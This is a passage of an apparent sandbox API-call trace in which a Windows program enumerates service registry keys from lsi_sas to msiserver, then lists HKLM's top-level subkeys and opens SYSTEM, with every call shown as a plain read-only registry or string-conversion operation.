WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas", lpUsedDefaultChar=0x0) returned 7 [0241.666] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0241.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_sas2", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_sas2", lpUsedDefaultChar=0x0) returned 8 [0241.666] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0241.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsi_scsi", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsi_scsi", lpUsedDefaultChar=0x0) returned 8 [0241.666] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0241.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.666] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="luafv", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0241.666] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0241.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0241.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0241.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0241.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0241.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0241.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0241.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0241.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1a90, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0241.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0241.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0241.667] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0241.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0241.668] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0241.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0241.668] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0241.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0241.668] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0241.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0241.668] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0241.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0241.669] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0241.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0241.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1928, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0241.669] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0241.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0241.669] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0241.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0241.669] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0241.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0241.669] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0241.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.669] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0241.669] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0241.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0241.670] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0241.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0241.670] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0241.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0241.670] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0241.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0241.670] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0241.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.670] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0241.670] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0241.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0241.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0241.671] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0241.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0241.671] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0241.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0241.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1928, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0241.671] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0241.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0241.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0241.671] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0241.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1928, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0241.672] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0241.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0241.672] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0241.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0241.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0241.672] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0241.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0241.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0241.672] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0241.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0241.672] RegCloseKey (hKey=0x150) returned 0x0 [0241.672] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0241.673] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0241.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0241.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0241.673] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0241.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0241.673] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0241.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0241.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0241.673] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0241.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0241.673] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0241.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0241.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0241.674] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0241.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0241.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0241.674] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0241.674] RegCloseKey (hKey=0x80000002) returned 0x0 [0241.674] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0241.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 